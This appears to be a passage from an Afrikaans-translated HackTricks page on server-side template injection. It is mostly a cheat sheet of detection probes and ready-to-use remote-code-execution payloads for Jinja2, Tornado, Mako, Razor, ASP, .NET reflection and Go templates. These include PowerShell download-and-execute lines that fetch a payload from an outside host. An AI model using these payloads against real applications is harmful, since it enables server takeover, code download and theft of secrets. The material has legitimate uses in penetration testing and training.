https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Meer inligting in https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Kyk na die volgende bladsy om wenke te leer oor arbitrary command execution bypassing sandboxes in python:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Meer inligting
Jinja2 (Python)
Jinja2 is ân volledig toegeruste templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, ân opsionele geĂŻntegreerde sandbox-uitvoeringsomgewing, is wyd gebruik en BSD-gelisensieer.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Sjabloonformaat
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE nie afhanklik van __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Meer besonderhede oor hoe om Jinja te misbruik:
Ander payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Meer inligting
Ander Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Meer inligting by https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAFUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Die .NET System.Diagnostics.Process.Start metode kan gebruik word om enige proses op die bediener te begin en sodoende ân webshell te skep. Jy kan ân kwesbare webapp voorbeeld vind in https://github.com/cnotin/RazorVulnerableApp
Meer inligting
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Meer Inligting
.Net Beperkings omseil
Die .NET Reflection-meganismes kan gebruik word om blacklisting te omseil of wanneer klasse nie in die assembly teenwoordig is nie. DLLâs kan gedurende runtime gelaai word met metodes en eienskappe wat van basiese voorwerpe toeganklik is.
Dllâs can be loaded with:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- vanaf filesystem.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- direk vanaf request.
Volledige command execution:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Meer Inligting
Mojolicious (Perl)
Selfs al is dit perl, gebruik dit etikette soos ERB in Ruby.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
In Go se templatemotor kan die gebruik daarvan bevestig word met spesifieke payloads:
{{ . }}: Onthul die data-struktuur invoer. Byvoorbeeld, as ân objekt met ânPasswordattribuut gegee word, kan{{ .Password }}dit blootlĂȘ.{{printf "%s" "ssti" }}: Verwag om die string âsstiâ te vertoon.{{html "ssti"}},{{js "ssti"}}: Hierdie payloads behoort âsstiâ terug te gee sonder om âhtmlâ of âjsâ daaraan toe te voeg. Verdere direktiewe kan in die Go-dokumentasie verken word here.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
Met die text/template package kan XSS eenvoudig wees deur die payload direk in te voeg. In teenstelling kodeer die html/template package die antwoord om dit te voorkom (bv., {{"<script>alert(1)</script>"}} lewer <script>alert(1)</script>). Nietemin kan template-definisie en -aanroep in Go hierdie kodering omseil: {{define âT1â}}alert(1){{end}} {{template âT1â}}
vbnet Copy code
RCE Exploitation
RCE-exploitatie verskil aansienlik tussen html/template en text/template. Die text/template module laat toe om enige openbare funksie direk aan te roep (gebruik die âcallâ waarde), wat nie in html/template toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar here for html/template and here for text/template.
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die gegewe objekt ân System metode het wat commands uitvoer, kan dit uitgebuit word soos {{ .System "ls" }}. Toegang tot die bronkode is gewoonlik nodig om dit te benut, soos in die gegewe voorbeeld:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Meer inligting
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Preprocessor)
LESS is ân gewilde CSS pre-processor wat variables, mixins, funksies en die kragtige @import-direktief byvoeg. Tydens samestelling sal die LESS engine die hulpbronne wat in @import-verklarings verwys word ophaal en hul inhoud inlyn (âinlineâ) in die resulterende CSS invoeg wanneer die (inline) opsie gebruik word.
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
More Exploits
Kyk na die res van https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection vir meer exploits. Jy kan ook interessante tag-inligting vind by https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Verwante hulp
As jy dink dit nuttig kan wees, lees:
Gereedskap
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Detection List
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Verwysings
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf â HTB: Editor (XWiki SolrSearch Groovy RCE â Netdata ndsudo privesc)
- XWiki advisory â
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

